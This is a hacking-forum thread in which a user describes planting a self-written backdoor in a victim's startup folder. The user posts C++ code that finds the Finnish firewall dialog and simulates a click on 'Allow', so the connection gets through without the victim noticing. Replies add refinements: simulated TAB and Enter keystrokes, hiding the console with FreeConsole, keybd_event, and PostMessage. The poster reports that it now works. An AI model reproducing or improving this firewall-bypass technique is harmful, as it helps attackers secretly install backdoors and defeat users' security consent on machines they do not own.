Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Bypassing firewall...


ghost's Avatar
0 0

Hi!(Sorry if i have bad english and/or spelling errors) I have made a backdoor, but if i transfer it to some computer via floppy etc. and put it to startup folder. But when the program executes, the firewall blocks the connection and he/she must allow the connection and that would tell to he/she, that there is something fishy going on. So i programmed a program, that executes when the backdoor executes, and that program would allow the connection, but it wont work :(. The connection allowing program is following:

// the following program doesn't hide, yet.
#include <Windows.h>
using namespace std;
int main()
{
    HWND window = FindWindow(NULL,"Sovellusten hallinta");
    while(window == NULL)
    {
                 window = FindWindow(NULL,"Sovellusten hallinta");
    }
    HWND button4 = FindWindowEx(window,NULL,"Salli",NULL);
    SendMessage(button4,WM_LBUTTONDOWN,0,0);
    SendMessage(button4,WM_LBUTTONUP,0,0);
    return 0;
}

Here is the link to the picture that shows what the program must do: So what's wrong with the program? Got ANY ideas? If u got any other ideas about bypassing firewall, then post them. Thanks to anyone who replies to my question. (I hope that this question isn't noobish)


spyware's Avatar
Banned
0 0

can you make it do TAB key four times and then press enter? Would work aswell. I don't know what's wrong with your program, what does the text mean (in your program)?


ghost's Avatar
0 0

Thanks for the hint! TAB should work, now i'll just start to program it, but what did u mean with: > spyware wrote: what does the text mean (in your program)?


SySTeM's Avatar
-=[TheOutlaw]=-
20 0

To hide the console, use FreeConsole() :)


ghost's Avatar
0 0

OK, Thanks. And there's much easyer to find way to simulate TAB than find way to simulate the mouse.


SySTeM's Avatar
-=[TheOutlaw]=-
20 0

keybd_event?


ghost's Avatar
0 0

Maybe…:)


ghost's Avatar
0 0

spyware wrote: what does the text mean (in your program)?

if i think i know what you mean, i translated it and it comes out as "Application management" w/o quotes


ghost's Avatar
0 0

Yep! "Sovellusten hallinta" = "Application management" It's my mother language; finnish. And thanks to eweryone who replied, the program works now perfectly! :D


lukem_95's Avatar
Member
0 0

lol post your source :D

open-source FTW! erm and if you somehow had a problem with that, surely you could use PostMessage and post BN_DOWN to the accept button.